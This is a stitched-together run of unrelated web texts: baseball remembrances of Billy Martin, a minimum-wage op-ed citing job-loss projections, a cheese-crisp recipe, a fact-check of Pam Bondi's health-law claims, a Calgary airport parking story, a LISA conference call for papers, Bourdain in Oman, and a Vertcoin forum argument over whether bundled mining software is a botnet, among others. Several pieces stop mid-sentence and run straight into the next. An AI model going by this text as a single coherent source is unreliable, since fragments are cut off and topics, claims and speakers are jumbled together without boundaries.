“He has a special place in my heart, and I think about him a lot,’’ Randolph said. “His death hurt me because we had a very good relationship. Billy and I were really close. He was my first manager and he took me under his wing. There were players who didn’t like Billy, but he was good to me.’’
A quarter of a century ago, Randolph wasn’t totally surprised Martin died the way he did, but that didn’t make it any easier to handle.
“I wasn’t surprised, but it was tragic. I knew how Billy was always in the middle of something,’’ Randolph said. “I was there through all the turmoil and felt he would self-destruct. I wasn’t surprised or shocked, but it hurt. A traffic accident, you had a feeling it was going to end with something like that. I saw him fight and get beat up. At some point you hoped he would slow down and settle down.’’
Lou Piniella, who replaced Martin as manager in 1988, recalled Christmas 25 years ago.
“We were skiing in Vermont, my family, and we got the call. It was a terrible day,’’ Piniella said from his Tampa home. “The way it happened was a sobering moment for us. Twenty-five years, that shows you how quickly time passes. I remember the phone call like it was yesterday.’’Last July, the Democratic party pledged to lead the fight for a federally mandated $15 minimum wage. “The current minimum wage is a starvation wage and must be increased to a living wage,” the party’s platform contended. “No one who works full time should have to raise a family in poverty.”
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Other champions of the movement to increase the minimum wage — such as “Fight for $15” and the Service Employees International Union — have called attention to the same concern. And sometimes, their voices have been heard: This year, 14 states and Washington, D.C., elected to increase their minimum wages, some through bills in the legislature and others through referenda. (Eight other states raised their minimum wage, too, but solely to adjust for inflation.)
Unfortunately, proponents of minimum-wage hikes have neglected to consider the unintended consequences of such drastic changes to state labor laws.
According to a report published last week by American Action Forum, a center-right think tank in Washington, D.C., the minimum-wage hikes implemented in 2017 (some laws went into effect January 1 and others will go into effect in July) will result in a loss of 383,000 jobs by 2020.
Of the 14 states, four of them — Arizona, Maine, New York, and Washington — are expected to host at least a one-percent reduction in employment by 2020. In Arizona, for example, American Action Forum predicts a 1.7 percent reduction in employment, resulting in 52,000 lost jobs. Similarly, the think tank projects a 1.1 percent reduction in employment in New York (109,000 lost jobs); New York City alone will lose 72,000 jobs. “In 2020,” the report states, “employment in these 14 states and DC combined will be 0.7 percent lower than if the minimum wages did not change.”
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Between 2020 and 2025, the American Action Forum expects the economy to lose nearly 1.8 million jobs because of the newly implemented laws to increase the minimum wage. While Vermont may not have immediate effects because it has gradually raised the minimum wage by 12.5 percent ($9.33 to $10.50 by 2018), other states have implemented more radical new laws. California, for example, has a five-year plan to raise its minimum wage from $10 to $15, a change of 50 percent. Sixty-five thousand Californians are expected to be jobless by 2020 because of these new laws. And in Maine, a 60 percent increase ($7.50 to $12 by 2020) will likely result in 9,000 jobs lost and a 1.4 percent reduction in its total employment.
“Overall, we estimate 5.9 million workers will be directly impacted by all the minimum wage increases because they earn between the old and new minimum wage levels,” the American Action Forum report states.
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The consequences are already being seen in the restaurant industry. Thanks to “Fight for $15” and others advocating a minimum-wage hike, McDonald |
likely pursuit of UFA-to-be Ryan Suter, is that Brad Stuart is also likely out the door in Detroit. It’s believed he wants to move back to California for family reasons. So there’s two of your top three blueliners gone in Detroit.Starting a low-carb diet? Bet you’re wondering what YOU can snack on when the rest of the family is enjoying verboten foods. Well this recipe, if you can call it a recipe, is one solution. It’s suitable for Atkins Induction Phase, Keto diets and even Primal followers that eat occasional cheese. Takes just minutes to make and bake! This is now my #1 recipe in popularity, having well over 30,000,000 fans on Facebook now, blowing my Lebanese Baked Chicken (my former #1 recipe) right out of the water. 🙂
And if you seed the jalapeno, like I did, these were not even all that hot (I don’t like real hot/spicy foods). Leave the seeds in if you like to spice things up! These are delicious and so low-cal/low-carb you could eat the entire batch if you were so inclined! The hubs and I split this batch equally and we both loved these! Now, to be quite honest, I’ve also just melted plain old pepper-jack cheese before, but these really are better for some reason. Maybe the cheese is better; maybe the fresh pepper is just better. All I know is these are much better than just melting jack cheese! 🙂 Some have asked, and if you try to save some and reheat, you better really watch them closely, as they are inclined to burn when reheated.
INGREDIENTS:
1 cup shredded Monterrey Jack cheese
1 medium fresh jalapeno, sliced real thin
DIRECTIONS: Preheat oven to 350º. Place a sheet of parchment paper on a metal cookie sheet. DO NOT use a silicone/silpat sheet, waxed paper or foil (unless it’s the special non-stick foil) to bake these or they will not cook properly. Using a tablespoon, scoop up 1 T. of cheese and make a small pile on the parchment. Press it slightly flat. Repeat 15 more times. Place a slice of jalapeno on top of each pile. Pop into 350º oven for about 10-12 minutes. I would recommend browning them a wee bit more than shown in the photo for a firmer snack to serve at parties. These are somewhat pliable if under browned. Allow them to completely cool and fully firm up before removing from the pan for best results. 🙂
NUTRITIONAL INFO: Makes 16, each contains:
25.5 cals, 2.13 g fat, 0.10g carbs, 0.02g fiber, 0.08g NET CARBS, 1.63g protein, 60 mg sodiumThere are unfortunately-timed promo campaigns, and then there are ill-conceived ones. A recent campaign by Lexus in Canada fell into the latter category, when the Japanese automaker teamed up with the Calgary Airport Authority and YYC Calgary International Airport to offer premium Lexus-only parking spaces close to the airport's facilities, according to the CBC.
The CAA green-lit the conversion of five handicapped parking spots into these spots meant exclusively for Lexus customers, with CAA spokeswoman Judy Moseley citing cash flow as the airport's incentive to paint over the handicapped spaces. "We're always looking at different ways to diversify our revenue stream," said Moseley to the CBC.
As one might have expected, a complaint was filed by a family who arrived at the airport expecting to use the handicapped parking spots they were familiar with in the facility's short-term parking zone...only to find Lexus logos painted on the ground instead of the familiar wheelchair.
Michael Bouliane of Lexus Canada claims it was not aware that the CAA would be converting handicapped spots for use in their promo campaign. "Lexus Canada would like to offer our heartfelt apologies to anyone who may have been affected or offended by a recent marketing campaign at the Calgary airport. We were not aware that accessible parking spaces would be used for this campaign, and have asked the airport to correct the situation as quickly as possible by returning these parking spaces to their intended use," said Bouliane, according to the CBC.
The CAA took the fall for Lexus, stating, "The Calgary Airport Authority was solely responsible for the selection of the stalls identified for the parking campaign. Lexus Canada did not play a role in selecting, and was not aware of, the locations for the campaign," in a statement issued on their website. They also promise that the handicap spots—relocated to accommodate for the Lexus promotion—will be retained, and that the Lexus-only spots will be converted back to handicap spots.Some Florida public officials, including Gov. Rick Scott, have softened their tone on the federal health care law since the U.S. Supreme Court declared it constitutional and President Barack Obama was re-elected.
But don’t count Attorney General Pam Bondi among those officials.
In remarks at a Florida Chamber of Commerce event Nov. 28, 2012, Bondi said the health care law is already hurting businesses.
"Unfortunately, national studies are already showing the negative effects that the health care law is having on businesses and our economy. Businesses across the country are raising their prices in order to compensate for their added costs due to Obama’s health care plan. If they aren’t raising prices, they’re cutting jobs as a result of the added cost, both of which hurt our economy. According to a Mercer survey, more than 60 percent of employers expect the federal health care plan to increase their health costs. Twenty percent of those employers are bracing for at least a 5 percent increase in costs."
This comment caught our attention because added costs for business under the health care law do not start until 2014. So why would they be raising prices and cutting jobs now?
First, a bit of background: In 2014, the law’s major requirements take effect. Individuals will have to have health insurance or pay a penalty. And large employers will have to offer health insurance or pay a penalty. Employers with fewer than 50 employees are exempt, and large employers that already offer health insurance are not affected.
Translation: Most large employers who don’t offer their employees health insurance will be subject to the penalty.
But again, those penalties haven’t started yet, which made us question Bondi’s statement that businesses "are raising prices" and "cutting jobs" as a result of the law.
Employers have seen some new requirements since the law went into effect. One requirement that has started is that parents be allowed to add adult children to their policies. Another regulation forbids caps on how much insurance will pay over the course of someone’s lifetime. But we didn’t find evidence of these regulations leading to higher prices or eliminated jobs.
We contacted Bondi’s office and asked for evidence of Bondi’s remarks. They provided the Mercer survey that Bondi mentioned, as well as news reports on businesses preparing for the health care law’s requirements. We’ll review that evidence here.
The Mercer survey
We contacted Mercer, a health care consulting company, and obtained the survey Bondi referenced. It was conducted two weeks after the Supreme Court decision and queried 1,215 employers of various sizes.
As Bondi said, the survey found that 61 percent of employers expected cost increases.
Employers were asked to estimate the cost impact of the health law’s key provisions that go into effect in 2014. Here are the survey’s findings on costs:
* 10 percent of employers said they expected no increase in costs;
* 10 percent of employers said they expected a less than 1 percent increase in costs;
* 17 percent of employers said they expected a 1 to 2 percent increase in costs;
* 14 percent of employers said they expected a 3 to 4 percent increase in costs;
* 20 percent of employers said they expected a 5 percent or more increase in costs;
* 29 percent of employers said they didn’t know what to expect.
So Bondi is correct on the specific numbers she cited. However, she was selective in quoting the survey’s findings. For example, another way to read the results is that 51 percent of employers expected their costs to go up 4 percent or less.
A spokesperson for Mercer told us their surveys show employers are actually lowering their estimates of the cost impact as the law’s actual implementation gets closer.
Finally, we should note that the Mercer survey asked employers to predict what they thought would happen in 2014. It did not ask employers about how the law is affecting their actions today. And it did not show that businesses are raising their prices or laying off workers, as Bondi suggested.
News coverage
Bondi’s office also pointed us to news stories about how businesses are reacting to the health care law, reports from conservative think tanks and opinion pieces from conservative outlets that oppose the law.
The most relevant and persuasive evidence that the law would raise prices or cause layoffs were news stories about how the law would affect the restaurant industry. Franchise owners for restaurants such as Papa John’s have said they intend to reduce workers’ hours or add surcharges to their food in order to comply with the health care law’s requirements.
The Wall Street Journal reported on Nov. 3, 2012, that companies such as Darden Restaurants of Orlando, which runs Red Lobster and Olive Garden, were shifting their workforce from full-timers to part-timers to try to avoid paying penalties.
We found this evidence interesting, but anecdotal, and not definitive. The chief executive officer for Papa John’s, for example, wrote an op-ed for the Huffington Post to correct reports that the pizza chain was laying off workers.
"Many in the media reported that I said Papa John's is going to close stores and cut jobs because of Obamacare. I never said that," wrote John Schnatter on Nov. 20, 2012. "The fact is we are going to open over hundreds of stores this year and next and increase employment by over 5,000 jobs worldwide. And, we have no plans to cut team hours as a result of the Affordable Care Act."
Still, we found no large-scale studies showing that many businesses are currently raising prices or laying off workers to prepare for the health law.
In 2010, the nonpartisan Congressional Budget Office studied the law’s effects on the nationwide labor force and found the effects would be minimal. Also, most of the economic effects of the law would happen after the provisions took effect, not before.
"To the extent that changes in the health insurance system lead to improved health status among workers, the nation’s economic productivity could be enhanced," the CBO said in its report. "It is not clear, however, whether such changes would have a substantial impact on overall economic productivity or output. Moreover, many of the effects of the legislation may not be felt for several years because it will take time for workers and employers to recognize and to adapt to the new incentives."
Our ruling
Bondi said, "National studies are already showing the negative effects that the health care law is having on businesses and our economy. Businesses across the country are raising their prices … (or) cutting jobs as a result of the added cost."
It’s true that some large businesses -- specifically, those with more than 50 employees who do not currently offer their employees health insurance -- will face new costs because of the health care law. Starting in 2014, they will have to offer their employees health insurance or pay a financial penalty to the federal government.
But Bondi’s comments ignore two points: These requirements haven’t taken effect yet, and it’s not clear whether businesses will find themselves forced to raise prices or cut jobs. We found no credible national studies showing these widespread effects, and certainly not showing those effects right now.
We don’t doubt there’s anxiety among some businesses over what’s to come under the health care law, and maybe some are talking about whether they’ll have to raise prices or cut jobs. But Bondi didn’t talk about planning, she talked about what’s occuring right now, and we find no studies already showing the negative effects or evidence that businesses are cutting jobs or raising prices now. We rate Bondi’s statement False.Planes are never especially pleasant places to be. Even up in first class, you’re stuck in your seat for hours on end with no chance of stepping outside for a breath of fresh air, and with so many bodies packed into the same metal tube, it’s inevitable that the air starts to get a bit stale after a while. On the plus side, the worst you’ll have to deal with is a bit of body odor or your neighbor’s stinky snack food and not the overwhelming stench of a Greyhound port-a-potty.
Well, unless you happened to be on this flight from Beijing to Detroit last week…
According to the World Journal, an American-based, Chinese-language newspaper which mostly targets Chinese people living overseas, a young boy answered the call of nature on an international flight in a less-than-ideal way, with the cabin of the Delta Airlines flight suddenly being filled with an almighty stench.
The owner of the hot mess was apparently a young boy. Now, your first thought might be, “Hey, he’s just a kid; accidents happen!” But reports indicate that the actual situation was quite different. Apparently, when the kid began to feel that familiar rumbling calling him to the restroom, the adults he was traveling with whipped out some newspapers, spread them over the seat the child had been sitting in and told him to do his business there and then.
▼Maybe it smells like blue…
MakerBot ThingsUniverse (2Bzki)
Other passengers, of course, noticed the proceedings and asked that the kid be taken to the appropriate place for pooping. But despite the repeated requests, including those from a flight attendant, the kid’s grandfather apparently refused to take the boy to the bathroom. In the end, the deuce was dropped and, as you might imagine, the cabin began to smell like…well, like someone had pooped on a newspaper spread over a seat.
Why did this happen? Why hadn’t the flight attendant demanded rather than politely requesting that the child be taken to the bathroom? Well, according to Radio Free Asia, one Taiwanese airline employee they spoke with said that there aren’t any laws about children defecating on airlines. It sounds absurd, but the employee was quoted as saying that since it’s technically legal, all staff can do is offer “suggestions.” Surely, though, there are laws against a child’s guardians instructing them to go number-two in their seat rather than taking them to the restroom!? Maybe some lawyers specializing on airline defecation can weigh in here?
Of course, it goes without saying that this family’s indiscretion is something we should all try to avoid in the future. Remember, if you’re ever on a flight and you or your little one needs to poop, do your fellow passengers a favor and head to the throne room. This has been a PSA from people with sensitive noses.
Sources: 参照元：世界日報, RFA (中国語)
Feature image: RocketNews24
[ Read in Japanese ]Sponsored by USENIX in cooperation with LOPSA
Conference Overview
The annual LISA conference is the meeting place of choice for system administrators, IT architects, and IT engineers. The conference provides a rich mix of technical training by industry experts, dynamic talks that inspire attendees to think beyond today, panel discussions that debate current issues, ask-the-expert guru sessions, and presentations by people like you who introduce the next generation of methods and solutions. In the "hallway track," beginners and experts mingle as peers to discuss the day's talks and exchange solutions to current problems.
Attendees represent a wide range of specializations, including security, cloud, HPC, Web, network development, and storage administration. They come from all over the world to represent dot.coms, non-profits, academic and research institutions, military and government, and corporations of all sizes. LISA is also a great place to come as a student to get a wider perspective on the profession and to make valuable industry contacts.
LISA truly is the ultimate networking and development environment for our profession. Come to LISA to learn new skills, catch up on the latest trends and best practices in the industry, elevate yourself in your profession, and make new connections.
Get Involved!
We welcome participants willing to share their research and experiences. This is your conference and an opportunity to give back to your community.
NEW! Review and Response Period for Authors of Papers and Experience Reports: In order to improve the review process and increase authors' chances of acceptance into the conference, we have included an authors' review and response period for refereed papers and practice and experience report (PER) submissions. Authors of refereed papers and PERs can use this period to answer questions from reviewers and clear up any misconceptions about their submissions. Questions about the process? Feel free to contact the program chair at lisa12chair@usenix.org.
The technical tracks seek submissions in the following areas:
Refereed Papers: These are written papers, 8 to 18 pages long, describing work that advances the art or practice of system administration. These papers are held to high research standards and are evaluated based on their theoretical development, contribution to the field, or extension of previous work to new contexts. If accepted, the paper will be published in the proceedings and the author(s) will give a 20-minute presentation followed by a 10-minute Q&A session. A submission may be either an extended abstract (4–8 pages) or the (draft) full paper. These are original works which must not be submitted concurrently to another publication in whole or in part.
Practice and Experience Reports: Bring your favorite system administration story to LISA. These can include successes as well as failures, as long as there are useful lessons imparted to the audience. Initial submissions can be in the form of a 4–10 page report or a short (5–7 minute) video submission. Your proposal should include a clear description of the problem you are addressing, its relevance, the approaches and trade-offs made, and the lessons learned. Please note that we are including video submissions to make it easier to produce a PER proposal without the up-front effort of writing a report. Accepted video proposals still require a final written report for the conference. If accepted, the author(s) will give a 20-minute presentation followed by a 10-minute Q&A session.
Talks: Talks are 30- or 60-minute presentations by experts on a single topic of interest to system administrators. We are seeking suggestions from people who wish to give talks or to propose topics. Talks may focus on the latest hot technology or may be retrospective, be serious or funny, cover a spectrum of related issues or dive deeply into one specific topic. We also accept proposals for panel discussions, especially when accompanied by a tentative slate of panelists. Send ideas to lisa12it@usenix.org.
The Guru Is In Sessions: Q&A with an expert! Are you a guru? These sessions are a chance to share your expertise with your fellow system administrators. For the audience, these are a chance to get your questions on a specific topic or technology answered by an acknowledged expert. Submissions are in the form of a half-page description of the topic. Send ideas to lisa12guru@usenix.org.
Lightning Talks: Talk about a recent success, energize people about a pressing issue, ask a question, start a conversation! Lightning talks are 5-minute opportunities to get up and talk about what's on your mind. You can give several lightning talks if you have more than one topic. Send ideas to lisa12lightning@usenix.org.
Poster Session: This is your chance to share an idea that could turn into something more formal at next year's conference. Posters are a good way to get feedback on research that may not be ready for formal publication. Submissions are in the form of a 1-page abstract. Send poster ideas to lisa12posters@usenix.org.
In addition, LISA welcomes proposals for the following:
Workshops: Workshops are half-day or full-day sessions for small groups (typically no more than 30 people) to share ideas and knowledge. Workshops are intended to be participatory, not instructional, and familiarity with the specific topic/area is expected of the attendees. Proposals are in the form of a 1-page description. Send ideas to lisa12workshops@usenix.org.
Training Program: Tutorials are also half-day or full-day sessions but, unlike workshops, tutorials are generally intended for an instructor to share knowledge, not to be open discussions. We welcome (and encourage) suggestions or requests for new classes from anyone! Contact Dan Klein with suggestions/requests or find out how to submit a proposal here.
Birds-of-a-Feather Sessions (BoFs): Birds-of-a-Feather sessions are informal gatherings held in the evenings. BoF groups range from users of particular software packages or products, through those interested in discussing current problems or issues, to people interested in a particular aspect of computing. Time slots are assigned on a first-come, first-served basis before and during the conference. See the conference Web site for submitting your BoF topic and time slot.
Join us!
Next PageBourdain-isms
“It’s morning in the Arabian Desert, the place explorer Bertram Thomas called the ‘Abode of Death.’ But it’s a beautiful place, the kind of place I look for more and more these days: stark, empty, clean sand that stretches out seemingly forever.”
“Oman defies expectations; it shouldn’t, according to the cruel logic of the world, exist. But it does, and it’s incredible.”
“It is surrounded by some of the trickiest and most contentious powers in the region, and yet here it is, relatively small, tolerant, welcoming to outsiders, peaceful, and stunningly beautiful.”
“The question of what’s next is a big, if often unspoken, one.”
“You know this cat, or … just a village cat?”
“How do you say ‘delicious’ in Arabic?” Answer: لذیذ/ (lazeez/latheeth).
“There’s an unusual mix here—a very graceful, a very proud mix of cultures and languages.”
Dear leader—really, though
Bourdain with Sheikh Zayed bin Sulaiman al-Ghafri at his rooftop terrace in Qantab.
Sultan Qaboos (full name Sultan Qaboos bin Said al Said), the leader of Oman, is credited with modernizing the country. Before the advancements under his rule, there were only nine miles of paved road in the kingdom’s capital, Muscat.
Oman is not a democracy. But people seem to have genuine affection for what Bourdain calls its “much-admired, enigmatic absolute ruler and monarch” of 47 years.
“Usually one-man shows are not a good thing,” Bourdain quipped to businessman Sheikh Zayed bin Sulamain al-Ghafri about the nation’s esteemed ruler.
“People just felt like he’s the man that they were waiting for to enlighten life,” al-Ghafri said, “and to open doors for them.”
Eats
Al Mina Street, Muttrah Corniche, Muscat, Oman
+968 24711842/+968 9457 9457
Bourdain ate: shuwa (Omani pit-roasted goat), pakora (Indian fritters), kachori (Indian lentil pastries), chapati (fresh-baked Indian bread).
At this local boarding house turned restaurant, Tony and Aisha meet up for dinner with her associates Hassan Meer, a celebrated Omani artist, and Muzna Muzna Almusafer, an Omani filmmaker. They eat shuwa, the iconic Omani special-event dish, and pit-roasted goat.
Beach Bay Hotel, Muscat, Oman
+968 9295 6547
Bourdain had: Guinness.
Bourdain eats seafood caught by free divers Omar and Mohammed, along with Captain Said, the owner of the Gulf Diver boat, and Captain Saleh.
Sidekicks
Sheikh Zayed bin Sulaiman al-Ghafri: a businessman and son of a tribal leader.
Aisha Stoby: a Ph.D. candidate in Middle Eastern Studies and art.
Hassan Meer: a celebrated Omani artist.
Muzna Almusafer: an Omani filmmaker.
Ian Gardiner: a former British Army Special Air Service officer who served in the Dhofar War in the 1970s.
Zahara al-Awfi: an Omani chef and philanthropist.
Hamdan al-Saqri: an engineering student in Muscat, born and raised in Jebel Akhdar to a long line of farmers.
Amer al Wahibi: a Bedouin man.
Mark Evans: a British explorer.
Bourdain joins Zahara as-Awfi and her family for a meal at their home in Al Hamra.
Faith
The majority of Omanis are neither Sunni nor Shiite, but Ibadi Muslim. Ibadi Islam is also practiced in parts of North and East Africa. Unity and understanding are cornerstones of the Ibadi Muslim faith, Bourdain notes.
Down to Earth
Omanis submit building proposals to their municipalities before building. It is “frowned upon” if the building goes above a certain height, said Aisha Stoby, a Ph.D. candidate, explaining how Oman is one of the few Persian Gulf oil exporters without many towering skyscrapers.
A lesser-known war
The Dhofar Rebellion, also known as the Oman Civil War, began as an uprising of people from the Dhofar region in Oman’s south against then-Sultan Said bin Taimur. The conflict soon became a proxy war, with the Soviet Union and China supporting the rebels and Britain and its allies supporting the sultanate.
“You’d have heard about it if we lost it, I can tell you,” Ian Gardiner told Bourdain. Gardiner is a former British Army Special Air Service officer who served in the Dhofar War in the 1970s.Showgoers check the offerings at the Microsoft booth at the annual Consumer Electronics Show (CES) in Las Vegas, Nevada in this January 9, 2009 file photo. REUTERS/Rick Wilking
HANOVER (Reuters) - Microsoft (MSFT.O) may create up to 3,000 jobs as it raises investment in research and development by $1 billion this year, its chief operating officer said on Tuesday.
“Realignment of the company will help us reassign people and could allow us to create some 2,000 to 3,000 new jobs,” Kevin Turner said at CeBit, Europe’s biggest technology trade fair.
Turner said while Microsoft was eliminating jobs in some areas, new opportunities would arise at the same time. He reiterated that Microsoft, under pressure to trim costs amid a global recession, would stick to its research budget this year.
Related Coverage Skype COO bullish on future customer growth
“We will invest a record $9 billion in R&D... spend a billion more than last year,” Turner said, adding Internet-based applications — so called cloud computing — would be a major field for Microsoft’s investment.
The current macroeconomic climate was the most challenging most people had ever seen in their lifetime, Turner said.
“We believe while this may be a once in a lifetime event it may also be a once in a lifetime opportunity to create new business models,” Turner said.But aside from its statutory particulars, the bill captures an interesting snapshot of the politics of climate change action. We can locate the bill in a landscape framed by two political axes: one axis that calibrates expanding energy supply versus curbing energy demand, and a second that compares economic motives for action with moral imperatives.
The Massachusetts Legislature made news over the weekend by passing a farsighted energy bill. Among other measures, the “omnibus energy bill” makes unprecedented commitments to hydropower and offshore wind and compels electric utilities to incorporate modernizing energy storage systems into the grid by 2020.
While the letter of the law expresses the fiscal exigencies of today, the spirit of the law responds to a challenge from future generations.
On the supply end of the first axis, people argue for policies that drive the development of clean energy technologies. Their premise is that we can create and exploit new energy sources that will ultimately displace the carbon-based fuels implicated in global warming. Entrepreneur Elon Musk, a pioneer in electric cars and solar power systems, personifies the belief that advanced technology can lead the fight against climate change.
The demand end of the axis is inhabited by advocates of sustainability, reduced consumption, carbon taxes and major reforms of our economic system. From this viewpoint, climate change is both a cultural and structural problem outside the reach of technological fixes. Proponents call for rethinking our transportation systems, shorter work hours, less corporate influence on the political process and forgoing excess consumer goods. Prominent among the many who have written about the need for systemic reform of the economy are author Christian Parenti, economist Juliet Schor and activist Naomi Klein.
The new energy bill definitely landed closer to the supply end of the range. The initiative to increase the use of hydropower in tandem with onshore wind signals confidence that we can grow the clean power supply. The aggressive procurement of offshore wind and the nod toward energy storage are particularly in keeping with a mindset that values cutting-edge technology as a means to expand the energy portfolio.
As to reducing demand, the bill recognizes the importance of energy efficiency and includes some energy-conserving measures, such as requiring repair of gas leaks. But it doesn’t compel anyone to change their lifestyle. It asks us neither to rethink our habits as consumers nor to shrink our personal carbon footprints. A provision to require time-of-sale home energy audits didn’t make the cut. A carbon pricing amendment, intended to ramp down the consumption of fossil fuels, was added in the Senate but then withdrawn for lack of support. Asking Americans to scale back their energy habit is politically hazardous.
Now consider our second axis, a scale that measures the degree to which the climate change crisis is perceived as economic or moral in nature.
At one end, climate change is a purely economic problem. Economists compare the cost of making the transition to renewable energy with the cost of adapting to climate change as it happens. They look at the environmental cost of continuing to extract and burn fossil fuels versus the cost of writing off the wealth bound up in untapped reserves. Computer models crunch data to gauge the effectiveness of incentives and penalties that could drive the adoption of clean energy.
At the other end of this axis are those who believe that, rather than being the upshot of any economic calculation, fighting climate change is an ethical imperative. They see the economic factors as secondary to the responsibility borne by today’s societies to protect and preserve global ecosystems. Those advancing this argument include Al Gore, activist Bill McKibben and, most notably, Pope Francis, whose encyclical Laudato Si drew from sacred texts to make a moral case for decisive action on climate change.A downriver couple is expected in court this week to face charges in the dog mauling death of a young child.
A 29-year-old Lincoln Park mother and her 35-year-old boyfriend are expected to turn themselves in for arraignment this week.
Police said the woman’s five-year-old physically disabled son, Kyle Holland, was attacked by the man’s pet wolf-dog hybrid, last July, while he slept.
WWJ Newsradio 950’s Pat Sweeting spoke with assistant Wayne County Prosecutor Raj Prasad, who said the child was partially eaten in the attack.
“A good part of the child’s … I guess hip or flank area is the best way to describe it, was eaten,” said Prasad.
The boy’s mother, Debralynn Holland and her boyfriend Earl Dwayne Adkins are both charged with the child’s death. They also face separate charges in connection with more than a dozen marijuana plants that police said were being grown in Adkins’ basement.
Wayne County Prosecutor Kym Worthy said, along with several law enforcement agencies, a number of other experts had to be consulted to make a strong case.
“A forensic odontologist, a forensic anthropologist, wildlife biologist and the Director of the University of California at Davis Director of Veterinary Genetics Laboratory. So, there’s a lot of work that needed to be done, as you can imagine, based on the facts of this case,” Worthy said.
Arraignment is set for June 29.TheCoinFinder
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Re: Vertcoin - 1 | ASIC - 0 | Lyra2RE | Decentralised | GPU Mineable | Open Source June 27, 2015, 10:24:29 PM #1074 Quote from: jch9678 on June 26, 2015, 11:22:25 PM
Quote from: ipominer on June 25, 2015, 09:20:38 PM Quote from: jch9678 on June 25, 2015, 09:02:08 PM To answer your question, it's true. There is a botnet mining vtc on Ipominer and owns 70% of the network hashrate. Once this was discovered Ipominer said they would close the port. The botnet owner contacted Ipominer and complained of a privacy issue. Subsequently Ipominer stated they will not close the port and they now hide all user stats to prevent others from investigating. Obviously this is a pretty substantial revenue stream for them.
So if you're a botnet owner, ipominer is the best place for you to mine.
That's completely untrue. We actively ban botnets regularly -- they are against our terms of use. What's being discussed here is not a botnet by any common legal or technical definition -- it's mining via bundled software. Disclosed bundling of software is a valid, industry standard practice which generates revenue for software developers, distributors, and publishers. We're certainly not going to ban a user over a legitimate activity.
Privacy concerns were raised by more than half a dozen ipoMiner users about showing hashrate by username, because of people posting screenshots on bitcointalk and reddit with users information, so we took action to change that.
That's completely untrue. We actively ban botnets regularly -- they are against our terms of use. What's being discussed here is not a botnet by any common legal or technical definition -- it's mining via bundled software. Disclosed bundling of software is a valid, industry standard practice which generates revenue for software developers, distributors, and publishers. We're certainly not going to ban a user over a legitimate activity.Privacy concerns were raised by more than half a dozen ipoMiner users about showing hashrate by username, because of people posting screenshots on bitcointalk and reddit with users information, so we took action to change that.
...not a botnet by any common legal or technical definition...?? This most definitely is a botnet by technical definition. There's no such thing as a legal definition for a botnet. It's either a botnet or it isn't. For the time being let's say it's irrelevant how the software got onto users computers. It is a network of computers that are commanded and controlled by Danila with or without the user knowing what is going on. Bottom line, it's a botnet and it goes against your terms of service.
Nobody is debating whether bundling software is valid or not, it obviously is.
What we need to do is drop the discussion whether something is illegal or not. Nobody is going to jail over this, the internet police are not going to knock on ipominer's or IZABELCOIN LTD's door. There is no legal issue, unless maybe you live in Yokneam, Israel ( Quote THE CpuMiner INSTALLER AND OR SOFTWARE MAY....ACTIVATE ALL FANS AND GENERATE AN UNLIMITED AMOUNT OF HEAT, AND UTILIZE AN UNLIMITED AMOUNT OF ELECTRICITY (OUTLET AND BATTERY). Or this Quote THIS MAY DAMAGE AND CAUSE IRREPARABLE HARM TO YOUR COMPUTER. YOU MAY ALSO INCUR ADDITIONAL COSTS OR FEES BY YOUR INTERNET SERVICE PROVIDER (ISP), INCREASED SUPPORT COSTS, LIMIT OR VOID YOUR WARRANTY. What a joke this is, what did you call it, "compelling documentation"
This is you ipominer, this is who you are associated with, this is who you stick up for.
Ipominer are you a fan of open source software? Well guess what because Danila decided to make IZABELCOIN LTD and use open source software for profit, he is in violation of whatever license cpuminer and sgminer are under. Maybe you don't want to stick up for the vertcoin community, that's obvious, but how about sticking up for the open source community. Do the right thing, ban Danila for so many legitimate reasons, or keep him on for greed.
Speaking of greed, why haven't you raised your fees to 10% yet? You can easily get them from Danila since you've already said no respectable miner would pay 3% to mine with you.
Just wanted to point out what I posted in ipominer's thread...not a botnet by any common legal or technical definition...?? This most definitely is a botnet by technical definition. There's no such thing as a legal definition for a botnet. It's either a botnet or it isn't. For the time being let's say it's irrelevant how the software got onto users computers. It is a network of computers that are commanded and controlled by Danila with or without the user knowing what is going on. Bottom line, it's a botnet and it goes against your terms of service.Nobody is debating whether bundling software is valid or not, it obviously is.What we need to do is drop the discussion whether something is illegal or not. Nobody is going to jail over this, the internet police are not going to knock on ipominer's or IZABELCOIN LTD's door. There is no legal issue, unless maybe you live in Yokneam, Israel ( https://www.israelbizreg.com/izabelcoin-ltd ) but that would only be if maybe someone's computer under Danila's control blows up and starts a fire. How could that be traced back to Danila, because it's in his EULA right here http://danilafri.wix.com/cpuminer Oh look it has danila in the URL mentioning cpu miner as if it's his own (we'll get to that later). Danila don't worry about taking it down it's already archived here https://archive.is/7taoH and locally. Take a look at these gems in the EULA. Or thisWhat a joke this is, what did you call it, "compelling documentation"This is you ipominer, this is who you are associated with, this is who you stick up for.Ipominer are you a fan of open source software? Well guess what because Danila decided to make IZABELCOIN LTD and use open |
), newer, more modern jerseys replacing the ones worn by the Lakers since the late 70's, a new coach in Phil Jackson, and a new system: the triangle offense. The new philosophy proved to be potent, as the Lakers started off strong, winning 31 of their first 36 games. They also were able to string together winning streaks of 16, 19, and 11 games, becoming only the third team in NBA history to have three double-digit streaks in one season.[citation needed]
Despite topping the league with a 67–15 record in the regular season, the Lakers found themselves struggling in the playoffs, needing all five games to knock off the Sacramento Kings and coming back from 15 points down in the fourth quarter of Game 7 of the Western Conference Finals against Portland. The Indiana Pacers, coached by the Lakers' old nemesis, Larry Bird, proved to be slightly less of a problem, however, and in six games, the Lakers claimed their first NBA championship since 1988. Shaquille O'Neal picked up both MVP and Finals MVP awards in 2000. Having also shared the 2000 All-Star Game MVP award, he was only the third player in NBA history to win all three awards in the same season. Kobe Bryant was named to the NBA All-Defensive Team, the youngest player to earn the honor. Bryant had blossomed under Coach Jackson, as had Lakers role players such as Derek Fisher, Rick Fox and Robert Horry.[citation needed]
Phil Jackson coached the Lakers to five championships, all with Kobe Bryant, three with Shaquille O'Neal and two with Pau Gasol.
